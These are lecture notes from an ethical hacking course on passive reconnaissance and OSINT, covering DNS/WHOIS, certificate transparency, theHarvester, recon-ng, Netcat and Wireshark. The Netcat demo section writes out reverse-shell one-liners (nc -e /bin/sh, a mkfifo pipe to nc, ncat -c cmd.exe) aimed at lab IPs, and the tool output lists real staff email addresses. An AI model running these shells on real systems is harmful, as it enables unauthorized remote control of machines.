Lecture 2

Updated 14 Oct 2026

  • Port scanning
  • Review TCP/IP

CSS 484 · Ethical Hacking · Lecture 2

Passive Reconnaissance & OSINT Gathering intelligence before you ever touch the target Dr. Matthew Gaber


Roadmap — Six Sections, One Throughline

We move from why recon matters, through what OSINT reveals and how to gather it, to the tools and hands-on foundations — all without ever touching the target.

  • 01 — Foundations: recon's role, and the networking it maps onto
  • 02 — OSINT methodology: what public data reveals, and the disciplined process
  • 03 — Passive vs active: the distinction that governs visibility & risk
  • 04 — Enumeration: mapping domains, certs, infrastructure & people
  • 05 — OSINT tools: theHarvester & recon-ng — automation at scale
  • 06 — Hands-on foundations: SSH, Netcat & the command line

Section 1: Foundations — Passive Recon & OSINT

Reconnaissance is the first meaningful stage - and its quality shapes everything after

Recon is the Foundation of the Whole Engagement

  • A rushed recon phase leads to a blind, noisy, ineffective attack.
  • A thorough one gives you a map. We focus on the passive side — gathering intelligence without ever directly touching the target, using only what public sources already hold.

Key points:

  • Passive & OSINT focus — Collect only what public sources and third parties already expose - the target never sees you.
  • First in the lifecycle — Recon comes before scanning, before exploitation. Everything downstream is built on it.
  • Shapes the attack surface — It reveals the full set of points an attacker could try - usually far more than the target realises.
  • Ethics never switch off — Public and legal still doesn't automatically mean ethical or in-scope. That thread runs through everything.

Analogy: Think of recon like scouting a building before a heist movie plan. A rushed scout might miss the side door; a patient one maps every entrance, camera, and guard shift — all without ever setting foot inside.

Where Reconnaissance Sits (Attack Lifecycle)

Reconnaissance → Scanning → Exploitation → Post-Exploit

  • Reconnaissance — Gather intel — you are here
  • Scanning — Active probing (Week 3)
  • Exploitation — Gain access
  • Post-Exploit — Persist & pivot

Everything downstream depends on the quality of what you learn in this first phase.

Why recon matters:

  • Shapes the attack surface — reveals every point an attacker could target
  • Guides tool selection — knowing the tech lets you pick the right approach
  • Reduces noise & risk — patient passive work means less blind probing later
  • Builds the map — turns an unknown target into a charted footprint

OSINT Uncovers a Connected System, Not a List

What you find in reconnaissance isn't a pile of random facts - it's an interconnected networked system, and its structure follows the networking model.

Flow: Raw findings → Mapped to layers → Connected into structure → An actual map

  • Raw findings — domains, IPs, certs, emails - individually, just facts
  • Mapped to layers — each finding belongs to a specific network layer
  • Connected into structure — the relationships reveal how the target is built
  • An actual map — a coherent picture you can plan an attack around

The conceptual anchor: the TCP/IP model organises everything you discover.

TCP/IP Model Overview

(Image: layered diagram — leave H1 image placeholder)

DARPATCP/IPOSIProtocols/ServiceUnit
Network InterfacePhysicalPhysicalBits <-> PhysicalBits / millivolts
Data LinkData LinkIEEE 802.3Frame
NetworkNetworkNetworkIP/ ICMP/ IGMPPacket
TransportTransportTransportTCP / UDPSegment, Datagram
ApplicationApplicationSessionSocketsData
PresentationData Translation / XMLData
ApplicationFTP/ HTTPData

Layer breakdown (with data flow example):

  • 5 — Application Layer: group of applications requiring network communications. Host A (Web Browser) generates the data and requests connections to Host B (Web Server).
  • 4 — Transport Layer (TCP/UDP): establishes the connection between applications on different hosts.
  • 3 — Network Layer (IP): responsible for creating the packets that move across the network, transfers packets with virtual (IP) addresses.
  • 2 — Data Link Layer (MAC): responsible for creating the frames that move across the network, transfers frames with physical (MAC) addresses.
  • 1 — Physical Layer: the transceiver that drives the signals on the network; transmits and receives bits.

Encapsulation example (browser → wire):

  • Application Layer Data (Web Browser): URL and potentially sensitive data entered in the browser. The browser creates an HTTPS request message containing the URL, data (encrypted using TLS), and initial headers including:
    • Host: Website address
    • User-Agent: Browser information
    • Content-Type: Data format
    • Connection: Request type (e.g., GET, POST)
  • Transport Layer (TCP): TCP header addition (typically 14 fields); message is split into segments, each gets a TCP header. Header fields include:
    • Source & Destination port numbers — identifies applications on both ends & allows multiplexing
    • Sequence & acknowledgment numbers — ensures ordered and reliable delivery
    • Flags — control info (e.g., start/end of message) & checksum
  • Network Layer (IP): each segment is encapsulated with an IP header (typically 13 fields). Header fields include:
    • Source & Destination IP addresses
    • Time to Live
    • Total Length
    • Protocol (specifies format of the packet's payload)
    • Flags and checksum
  • Data Link Layer (Frame) Header: protocols such as Ethernet 802.3 format the packets into a frame that includes:
    • Source & destination MAC address
    • Frame type
    • Preamble, delimiter
    • Frame Footer: Frame Check Sequence, Extension
  • Physical Layer (bits): raw bits transmitted on the wire

Reference: https://github.com/torvalds/linux/blob/master/net/ipv4/tcp.c

The TCP/IP Model — Through a Recon Lens

Four layers. Every piece of intelligence you gather slots into one - and which layer it belongs to tells you what kind of asset you've found and how the pieces connect.

  • Application (HTTP · HTTPS · SMTP · DNS) — MOST OSINT LIVES HERE
    • What recon finds here: Domains, certificates, email, web servers
  • Transport (TCP · UDP)
    • What recon finds here: Ports & connections — active scanning (next week)
  • Internet (IP)
    • What recon finds here: IP ranges & hosting — infrastructure enumeration
  • Link (Physical / MAC)
    • What recon finds here: The local network reality — wire or wireless

Mapping OSINT Findings to Layers

The payoff: you can place every finding on the stack - and gather all of it without sending a single packet to the target.

  • Domains & certificates — (Application layer) — the named services an organisation exposes - its front doors
  • Email & web servers — (Application layer) — the services people interact with daily - rich sources of detail
  • IP ranges & hosting — (Internet layer) — the addressing & infrastructure beneath all those services

Analogy: Building this picture is like reading a company's public directory sign, mailroom labels, and parking lot layout — all from the sidewalk. You never had to walk inside.

  • You build this whole picture — across the entire stack — without sending a single packet to the target.

Section 2: OSINT in Real-World Engagements

What open-source intelligence reveals - and the discipline behind it - Open-Source Intelligence (OSINT)

Open-Source Intelligence (OSINT)

OSINT = intelligence gathered from publicly available, legally accessible data - public websites, DNS records, registries, social media, code repositories, breach dumps. You collect what is already out in the open. You break into nothing, and you send nothing to the target.

  • Attackers use it — to quietly map a target's people, systems, and weak points before any direct contact
  • Defenders use it — the same techniques turned inward - to see what an attacker sees, and shut it down first
  • The real first move — not academic - this is genuinely where professional testers and real adversaries begin
  • Legal, but scoped — collected through legitimate means - and still used strictly within your engagement

What OSINT Reveals

From public data alone, an attacker can learn a startling amount about an organisation - its structure, its systems, and its people - before touching anything.

Starting from just a TARGET organisation name, you can branch out to:

  • Domains & subdomains — primary, dev, staging, legacy
  • TLS certificates — CT logs expose internal names
  • Email patterns — predict any employee address
  • Tech stack — frameworks, cloud, 3rd-party
  • IP ranges & hosting — AWS / Azure / on-prem
  • Exposed accounts — breach & credential leaks

All discoverable from public sources — without sending a single packet to the target.

OSINT in Practice — Public Records Talk

None of this touches the target. DNS and WHOIS are public lookups answered by third parties - yet they hand you hosting, mail, providers, and real employee contacts.

Example terminal session:

$ dig example.com ANY +noall +answer
 
example.com. A 93.184.216.34          → hosting IP
example.com. MX 10 mail.example.com   → mail server
example.com. NS ns1.cloudprovider.net → reveals provider
example.com. TXT v=spf1 include:_spf..→ 3rd-party services
 
$ whois example.com | grep -i org
 
Registrant Org: Example Holdings Ltd
Admin Email: it-admin@example.com     → a real target

Useful dig commands (SIIT example):

dig siit.tu.ac.th A     # > IP
dig siit.tu.ac.th MX    # > Mail Servers
dig siit.tu.ac.th NS    # > Name Servers
dig siit.tu.ac.th TXT   # > text – additional info
dig siit.tu.ac.th CNAME # > Alias
dig siit.tu.ac.th SOA   # > Start of Authority
  • DNS records — A, MX, NS, TXT reveal hosting, mail & dependencies
  • WHOIS — registrant org and admin contacts - real targets
  • Still fully passive — answered by public infrastructure, not the target

OSINT is a Structured Methodology

Not random searching - a disciplined four-stage process. This is exactly what separates a professional from someone idly googling.

  1. Collection — gather raw data from all public sources
  2. Analysis — correlate - connect the pieces into intelligence
  3. Validation — verify - public data can be stale or wrong
  4. Documentation — organise into clear, usable output

Analogy: This is like being a detective — first gather all the clues (Collection), figure out how they connect (Analysis), double-check nothing is a red herring (Validation), then write up the case file (Documentation).

A Real-World OSINT Chain

The power of OSINT is in the chaining. Watch how a single organisation name unfolds, step by step, into a detailed intelligence picture - with no direct interaction at all.

  1. Start: an organisation name — your only input - everything else is discovered from it
  2. Public domain records → subdomains — reveal a dev server and a staging environment never meant to be public
  3. TLS certificates → internal services — certs must name what they protect, exposing internal hostnames
  4. Email format → predictable addresses — work out the pattern, and you can target essentially any employee

No direct interaction required. No scanning, no probing, no logs, no alerts - a complete picture built entirely from public sources.

Ethics, Legality & OPSEC in OSINT

Even with public data, doing OSINT responsibly demands judgement. Three principles govern how you operate - and none of them are optional.

  • Legal ≠ ethical — Publicly accessible and lawful to collect does not make every use appropriate. You still operate within the scope and the spirit of your engagement - that distinction never goes away.
  • No deception — Passive OSINT means observing what's already public. The moment you create fake identities or trick people into revealing information, you've crossed a line - ethically and often legally.
  • Scope & OPSEC — Honour your rules of engagement, which may limit even passive recon. Avoid attribution and unnecessary exposure - a careful operator minimises their own footprint too.

Section 3: Passive vs Active Reconnaissance

The central distinction - and why it governs your visibility and risk

Reconnaissance is a Spectrum

Not two rigid boxes - a range, from completely hands-off to increasingly direct. Where you operate on it is a deliberate choice, driven by stealth needs and authorization.

◄ PASSIVE (never touch the target) ————— probe directly (ACTIVE) ►

  1. OSINT & public records — invisible
  2. DNS / certificate lookups — still quiet
  3. Light service probing — first contact
  4. Full port scans — loud, logged

Detectability rises as you move right — your authorization and stealth needs decide how far you go.

  • Passive end — quiet · hard to detect · limited to what public sources reveal
  • Active end — reveals far more · noisy · detectable · needs authorization

Passive vs Active — Side by Side

PASSIVEACTIVE
ContactNo contact with the targetDirect probing of systems
SourcesPublic records, DNS, breach dataLive hosts, ports, services
DetectabilityEssentially invisibleNoisy - logged & alertable
InformationLimited to what's publicDetailed, current, confirmed
AuthorizationPublic data - low barRequired - touching their systems
WhenFirst - build the pictureSecond - confirm & deepen

The professional switch: start passive to find where to look, go active to confirm what's there. Knowing when to switch is the judgement.

The Moment You Go Active, You're Visible

Passive recon is essentially free and invisible. The instant you switch to active - sending a packet to the target - you accept a cost. Understanding that cost is what makes the switch deliberate.

While Passive:

  • Nothing reaches the target — you gather entirely from third parties
  • No logs, no alerts — the target has no idea you exist
  • Essentially zero risk — profile freely, take your time

The Instant You Go Active:

  • Packets arrive at the target — every probe is recorded in their logs
  • IDS/IPS can flag the pattern — scanning has a recognisable signature
  • It requires authorization — without it, this is the criminal line
  • Best done selectively — only the targets that truly matter

The Door Analogy

An intuitive way to feel the whole spectrum - from watching, to touching, to forcing. Which is appropriate depends entirely on context and authorization.

  • PASSIVE — Looking at the building — observe from the street — nobody knows
  • LOW-NOISE ACTIVE — Trying the handle — a small, quiet probe — contact made
  • AGGRESSIVE ACTIVE — Knocking it down — loud, forceful — everyone knows

Context and permission decide. The technique isn't good or bad in isolation - authorization is what makes it legitimate. Watching a public building is fine; forcing a door you may not enter is a crime.


Section 4: Enumeration

Systematically mapping domains, emails, certificates & infrastructure

Expanding the Visible Attack Surface

Enumeration systematically widens one organisation name into its entire footprint. It's productive because organisations expose far more than they realise - and forget what they've exposed.

Flow: Organisation name (1 input) → Primary + subdomains (dev, staging, legacy sites) → Certificates + services (internal hostnames exposed via CT logs) → IPs, hosting, emails, people (a full, connected map of the target)

  • Rarely one domain — the public site is the tip of the iceberg
  • Infra outgrows oversight — new services appear faster than they're secured
  • Forgotten systems linger — unpatched, unmonitored - the classic way in

Domain Enumeration

Mapping an organisation's domains and subdomains - where the most interesting finds are the ones they forgot about, not the polished public site everyone knows.

  • Primary & subdomains — the full set of named web properties, not just the obvious main site
  • Dev & staging environments — often far less secured than production - developers assume nobody will find them, so they leak data production carefully protects
  • Legacy & forgotten services — stood up years ago, never decommissioned. Unpatched, unmonitored, and a classic entry point precisely because nobody's watching
  • Naming conventions — find mail. and vpn. and you can guess other likely names - the pattern gives away the shape of the wider infrastructure

You're surfacing what the organisation forgot it exposed. Oversight is exactly what enumeration is built to find.

Email Enumeration & Identity Exposure

Where reconnaissance pivots from mapping systems to targeting the people inside - very often the easiest way in. Learn the pattern, and you can reach anyone.

Finding the pattern:

  • Address format — learn first.last (or f.last) and you can generate anyone's address
  • Public documents — staff pages, PDF metadata, press releases, professional networks
  • Breach & leak data — addresses - and sometimes reused passwords - surface publicly

Why it's dangerous — Real addresses = precise targeting:

  • Impersonation — pose convincingly as an insider or executive
  • Precise targeting — aim at exactly the right people
  • Phishing fuel — the raw material for the attacks that begin most breaches

Certificate Transparency — A Public Goldmine

TLS certificates - the padlock in your browser - are secretly one of the richest recon sources. Every certificate ever issued is logged in open, searchable public logs.

Example — Certificate Transparency Log Search (crt.sh), query %.example.com:

CRT IDMatching Identity (domain on certificate)Issued
9928…www.example.com2024-01-12
9931…mail.example.com2024-01-14
9945…⚠️ dev-internal.example.com2024-02-03 internal
9950…⚠️ vpn-staging.example.com2024-02-08 internal
9962…⚠️ jenkins.corp.example.com2024-02-19 internal
9971…api-gateway.example.com2024-03-01
  • Certs name services — each publicly declares the domains it secures
  • CT logs are public — every issued cert is searchable - try crt.sh
  • Internal names leak — certs for internal hosts expose hidden services
  • Permanent record — once issued, it's in the logs forever

(Image: Censys search results for tu.ac.th — https://platform.censys.io/search?q=tu.ac.th)

Analogy: Certificate Transparency logs are like a public construction permit database — even if a building (server) is meant to be hidden, the fact that a permit (certificate) was filed for it is on public record forever.

Infrastructure Enumeration

The skeleton beneath the named services - the actual machines and networks that host everything else you've been mapping.

  • IP address ranges — The blocks an organisation controls - revealing the scale and boundaries of their network
  • Hosting & cloud platforms — Where systems actually live - AWS, Azure, GCP, or their own data centre. This shapes which attacks even make sense
  • On-prem vs cloud indicators — Own hardware, cloud, or a mix? Each has different characteristics and different weaknesses
  • Third-party & outsourced services — External providers they depend on - often the weak link, since a dependency can be a way in

This is the foundation layer of your intelligence picture. The actual hosts and networks that everything else runs on.

Correlation: Where Intelligence Emerges

Individually, each finding is useful. Connected together, they become a multi-dimensional map of the whole organisation - its systems, its infrastructure, and its people.

Correlation graph:

  • Domain (example.com) ↔ Certificate (*.example.com)
  • Certificate ↔ Email (first.last@…)
  • Certificate ↔ IP address (93.184.216.34)
  • IP address ↔ Hosting (AWS us-east-1)
  • Email ↔ Person / role (IT admin)

Isolated facts become an operational map — intelligence emerges from the links.

Intelligence emerges from correlation. The individual data points are raw material - connecting them is where real intelligence is created. This is what separates an amateur with notes from a professional with a picture.

Analogy: A single puzzle piece tells you almost nothing. It's only when you connect dozens of pieces that the picture — the whole organisation's footprint — becomes visible.


Section 5: OSINT Tools

Automating reconnaissance at scale - theHarvester & recon-ng

Why Automate OSINT?

At real-world scale, manual OSINT collapses. But automation is a force-multiplier for gathering - never a substitute for the thinking. Hold that distinction.

Manual OSINT doesn't scale:

  • Too many assets — checking dozens of sources by hand for hundreds of assets is infeasible
  • Too much data — CT logs, DNS, breach dumps, search engines - more than a human can cross-reference
  • Too slow — by the time you've done it manually, the picture may have moved on

What tools add:

  • Broad, fast coverage — query many sources quickly and consistently, catching what you'd miss
  • Structured output — results organised and correlatable, not scattered notes

Tools gather. You think. A tool hands you a thousand data points - deciding which ten matter is the skill. Never mistake running a tool for doing analysis.

theHarvester — The Fast Opening Move

An accessible, OSINT-focused tool - often the very first thing you run. One command gives a rapid, broad picture in seconds, entirely from public sources.

What it does:

  • Enumerates automatically — domains, emails & hosts - the manual tasks, automated
  • Queries public sources — search engines, public DBs, certificate sources
  • Fully passive — collects from third parties - never probes the target
  • Surfaces hidden assets — note the flagged dev & staging hosts, and the email pattern

Example run (VM screenshot):

kali@kali:~$ theHarvester -d siit.tu.ac.th -b all
  • Output header: theHarvester 4.8.2 — Coded by Christian Martorella (Edge-Security Research)
  • Missing API keys are reported for many sources (bevigil, bufferoverun, Censys, criminalip, Dehashed, DNSDumpster, fullhunt, Github, Hunter, etc.) — these fail gracefully at runtime without keys.

Example results (two windows shown):

[*] Emails found: 5
admission@siit.tu.ac.th
fin@siit.tu.ac.th
library@siit.tu.ac.th
prapun@siit.tu.ac.th
somnuk@siit.tu.ac.th
 
[*] Hosts found: 123
*.siit.tu.ac.th
Thailandadmissions.siit.tu.ac.th
admissionpayment.siit.tu.ac.th
admissions.siit.tu.ac.th:203.131.209.90
alumni.siit.tu.ac.th:192.168.10.148
... (many more subdomains and IPs)

Scenario Discussion — Dangling DNS Records (Subdomain Takeover)

Scenario A — the dangling record points at logistics.siit.tu.ac.th

  • Suppose the service behind logistics.siit.tu.ac.th is torn down, but the DNS record for it stays in SIIT's zone. Could an attacker "stand up a machine" and claim logistics.siit.tu.ac.th to serve their own content?
  • To make that name point at your machine, you'd have to edit SIIT's zone, which means controlling SIIT's DNS. Can an outsider do that? No.

Scenario B — the dangling record points at somesite.appspot.com

  • Now suppose logistics.siit.tu.ac.th is a CNAME → somesite.appspot.com, and the appspot.com app behind it gets deleted, but the CNAME stays. Could an attacker create their own App Engine app named somesite, so that SIIT's still-live CNAME now forwards to their app?
  • (1) Is somesite.appspot.com a name in SIIT's zone, or in another namespace that anyone can provision an app under?
  • (2) Even if you could re-register the somesite app name, what does Google require before it will serve your content specifically on the hostname logistics.siit.tu.ac.th — and can someone who doesn't control siit.tu.ac.thmeet that requirement?

Resolution: To add a google-site-verification TXT record for siit.tu.ac.th, you have to write into SIIT's DNS zone. That's the identical capability an attacker lacks in Scenario A — controlling SIIT's DNS. So the verification step collapses the CNAME path (Scenario B) back into the subdomain problem (Scenario A): both ultimately demand write access to siit.tu.ac.th's zone, and an outsider has none.

Analogy: A dangling DNS record is like an old forwarding address left at the post office pointing to a house that's since been demolished — but nobody can actually move mail there unless they control the post office's forwarding system (DNS zone) itself.

theHarvester in a Real Engagement

What one quick run actually buys you - rapid, broad coverage that lets you aim the careful, deeper investigation in the right direction.

  • Rapid asset expansion — You start knowing one domain; within seconds it's a whole list of associated subdomains and hosts
  • Finds forgotten domains — Automatically surfaces the overlooked, less-secured assets - the staging servers and legacy sites where weaknesses hide
  • Extracts email patterns — Quickly reveals the address format and specific exposed addresses, feeding straight into targeting
  • Informs where to focus — After one run you have a broad map, letting you decide where the deeper, careful effort should go

Rapid breadth first, focused depth second. That's how professionals work efficiently - theHarvester gives you the lay of the land fast.

recon-ng — A Framework Approach

If theHarvester is a fast, focused scout, recon-ng is a full reconnaissance framework - modular and database-backed. If you've used Metasploit, the design feels instantly familiar.

  • theHarvester = the scout — one fast command, a broad initial sweep
  • recon-ng = the framework — a deeper, organised, correlated investigation

Features:

  • Modular — load specific modules, each doing one recon task - compose the workflow you need
  • Database-backed — stores everything it gathers, retaining and organising all findings automatically
  • Many sources — broad coverage across many intelligence types from one consistent interface
  • Correlation built in — findings from one module feed the next - building a connected picture systematically

recon-ng Walkthrough (from demo)

# Set up workspace
workspaces create dummy
workspaces load dummy
 
# Explore & install modules
marketplace search
marketplace install hackertarget
modules load hackertarget
 
# General help
help
 
# Configure the module
show options
options set SOURCE siit.tu.ac.th
# (also demoed against tesla.com)
options set source tesla.com
 
# Run it
run
 
# View results
show hosts

Sample show hosts output columns: rowid | host | ip_address | region | country | latitude | longitude | notes | module

  • Found 93 total hosts for the target domain, each tagged with the hackertarget module.

Adding API keys for more modules:

keys add shodan_api abc123

Limitations of OSINT Tools

  • OSINT tools are powerful, but they have limitations.
  • Public data is often outdated, incomplete, or inaccurate, and tools may return false positives.
  • Ethical hackers must ensure that tool usage aligns with engagement scope and legal boundaries.
  • Ultimately, OSINT tools are starting points, not final answers.

Section 6: Practical Foundations

Building technical literacy - observe and understand, not exploit

The Workshop: Observe, Don't Exploit

A foundations workshop. We're here to build genuine literacy - to see how systems communicate - not to attack anything. Everything runs inside our isolated environment.

  • Observe real systems & traffic — See how services present themselves and how traffic actually looks on the wire - the raw reality beneath the concepts
  • Understand the attacker's view — Learn to see what an attacker sees - safely, from the defender's side of the table
  • Build technical literacy — Get genuinely comfortable with foundational tools and how systems really communicate - the bedrock for everything later
  • Not exploitation - yet — We deliberately don't attack today. Observation and understanding come first; that literacy is what makes safe exploitation possible

SSH — The Secure Shell

Secure, encrypted remote access to a system's command line - fundamental to computing, and a high-value target for attackers. Note the difference between authentication and authorization.

Connection diagram:

  • Client ↔ encrypted channel (port 22) 🔒 ↔ SSH Server

  • Server sends a banner: SSH-2.0-OpenSSH_8.2p1 ← banner reveals version

  • Authentication — Proving WHO you are (valid credential)

  • Authorization — What you're PERMITTED to do once in

Key points:

  • Encrypted remote access — how admins & attackers control machines securely
  • Auth vs authorization — proving who you are vs what you may do
  • Banner reveals version — announces itself - exposing if it's outdated
  • High-value to attackers — means powerful, normal-looking control

Analogy: Authentication is showing your ID at the door; authorization is what rooms your keycard actually opens once you're inside.

Web Servers Leak Intelligence by Default

To a trained eye, a web server is a surprisingly talkative source of intelligence - its normal responses leak far more than intended, much of it barely distinguishable from ordinary browsing.

Example HTTP response headers:

HTTP/1.1 200 OK
Date: Mon, 13 Jan 2025 …
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.24
X-AspNet-Version: 4.0.30319
Set-Cookie: PHPSESSID=…
X-Debug-Token: a1b2c3
Content-Type: text/html

Leaked to attacker:

  • Exact server software
  • Precise versions → look up known CVEs
  • Framework in use
  • Debug mode left enabled

Why it matters:

  • Server & framework ID — headers disclose the exact software & version
  • Look up known CVEs — a precise version → search public vulnerabilities
  • Misconfigs & leakage — verbose errors, directory listings, debug info
  • Passive observation — much of this is just careful browsing

Second example with real CVE lookups:

Server: Apache/2.4.49
Powered-By: PHP/7.4
AspNet-Version: 4.0.30319
  • https://nvd.nist.gov/vuln/detail/CVE-2021-41773
  • https://www.exploit-db.com/exploits/50383

File Transfers — How Data Moves (and Leaks)

How data moves between systems - and where it's carelessly left - is real reconnaissance value. The single most important distinction: is the transfer cleartext, or encrypted?

ProtocolEncrypted?PortWhat it Means for You
FTP❌ cleartext21credentials & data in the clear - readable by anyone watching
Telnet❌ cleartext23entire session plaintext - a gift to a sniffer
HTTP❌ cleartext80content unencrypted - fine to intercept
SCP / SFTP✅ encrypted22rides on SSH - encrypted end to end
HTTPS✅ encrypted443TLS-protected - safe from eavesdropping

Exposed files are goldmines. Documents, backups, and config files left publicly reachable can hand you credentials or sensitive data outright.

Netcat — The Networking Swiss Army Knife

Simple raw connectivity - and that very simplicity is its strength. Connect to any port, send raw data, and read the unfiltered response. You'll reach for it constantly.

References: https://sectools.org/tool/netcat/ · https://nmap.org/ncat/

Example session:

$ nc 10.10.2.244 22
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8    # → the banner, raw
 
$ nc 10.10.2.244 80
HEAD / HTTP/1.0
 
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)             # → software + version
 
# one tiny tool, no frills — just you and the service
  • Raw TCP/UDP — makes bare connections - basic, and precisely why it's powerful
  • Reads banners directly — talk to a service and see its rawest response
  • Attackers love minimal tools — often already present, less likely to trigger alerts

Netcat as a Reconnaissance Tool (Demo)

Basic connection test:

ncat –lvnp 4444           # (Win, listener)
nc 10.10.107.53 4444      # (Kali, connects to listener)
# This is a connection type in one and it is mirrored in the other.

Trying to get command execution (these likely won't work without extra steps):

nc -e /bin/sh 10.10.107.53 4444                          # (Kali)
python3 -c 'import pty; pty.spawn("/bin/bash")'           # (Kali)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.103.142 4444 >/tmp/f   # (Kali)

Working reverse-shell-style demo (Kali listens, Windows connects with -c):

nc –lvnp 4444                              # (Kali)
ncat 10.10.107.53 4444 –c cmd.exe          # (Win)

(Screenshots show: Kali listener receiving connection from 10.10.103.142, running pwd, ipconfig, tasklist on the Windows box; and a separate Windows Command Prompt attempt with ncat 10.10.107.53 4444 -c cmd.exe which fails locally because pwd isn't a Windows command.)

Analogy: Netcat is like a walkie-talkie you can point at literally any radio frequency (port) — it doesn't care what's on the other end, it just relays whatever comes back, raw and unfiltered.

Wireshark — Seeing the Network Itself

A microscope for network traffic. Its most powerful lesson: watching a real password travel in readable cleartext, versus scrambled encrypted data, drives home why encryption matters.

Cleartext (FTP / port 21):

USER admin        ← readable
PASS S3cr3t!       ← readable!
230 Login successful.
→ anyone on the wire reads the password

Encrypted (SFTP / port 22):

a3f9!k2#x8..Qm@zL
p9$wR7^nT4..vB2c
..encrypted payload..
→ unreadable scrambled data - nothing to steal
  • Captures every packet — inspect any one in complete detail
  • Reveals real protocol behaviour — see how connections actually work on the wire
  • Passive observation — watch and understand - not inject or attack

nikto & whoami — A Boundary Illustrated

Two tools that show exactly where the passive-to-active line falls, and what post-access reconnaissance looks like once you're on a machine.

nikto.pl — crosses INTO active:

  • Scans web servers — tests for known issues, misconfigs, dangerous files
  • Actively probes — sends many requests - unlike reading headers
  • Noisy, needs authorization — logged and alertable - this is the active line

whoami.exe — post-access recon:

  • Which account am I? — a basic but essential question on a system
  • Value comes after access — the first thing you check on a compromised box
  • Situational awareness — understand your position before you act

The Command Line — Windows & Linux

Comfort at the command line is non-negotiable in this field. The two platforms mirror each other - same concepts, slightly different names. This is your everyday toolkit.

WindowsLinux / KaliWhat it Does
dirlsList directory contents
cdcd / pwdChange / show working directory
copycpCopy a file
typecatPrint file contents
findstrgrepSearch text (learn grep well!)
ipconfigifconfigInterface IP configuration
caclschmod / chownPermissions & ownership
morelessPaginate long output

Help yourself: Windows uses /? after a command; Linux uses -h / --help or man <command>. Never memorise flags - remember how to ask. Linux adds full scripting, which is why it dominates security work.

Redirection & Pipes — Composing Tools

The command line's superpower: redirect where data goes, and pipe the output of one tool straight into another. Small, focused tools combine into powerful custom workflows on the fly.

  • Redirect output to a file: program > file
  • Feed input from a file: program < file
  • Pipe between programs: prog1 | prog2

A real pipeline — OSINT in one line:

theHarvester -d example.com -b crtsh | grep email > emails.txt

run OSINT → filter to just emails → save to a file. Three simple tools, composed into real reconnaissance.

Analogy: Pipes are like an assembly line — each tool does one small job and passes its output straight to the next station, instead of you carrying the part back and forth by hand.

Putting it Together — Worked Examples

Redirection, pipes, and our recon tools combined. Each line does real work - this composability is the heart of effective command-line reconnaissance.

ps aux | grep ssh
ls -la > filedata.txt
netstat -tuln | grep LISTEN > listening_ports.txt
theHarvester -d example.com -b crtsh | grep email > emails.txt

Week 2 Recap

Recon Begins in the Quiet

Patient, careful, ethical information-gathering is the foundation everything else is built on - and real engagements begin exactly this way.

Next week - crossing the line: we move from passive into active reconnaissance, scanning targets directly with Nmap. Everything you mapped passively becomes the input to that active phase.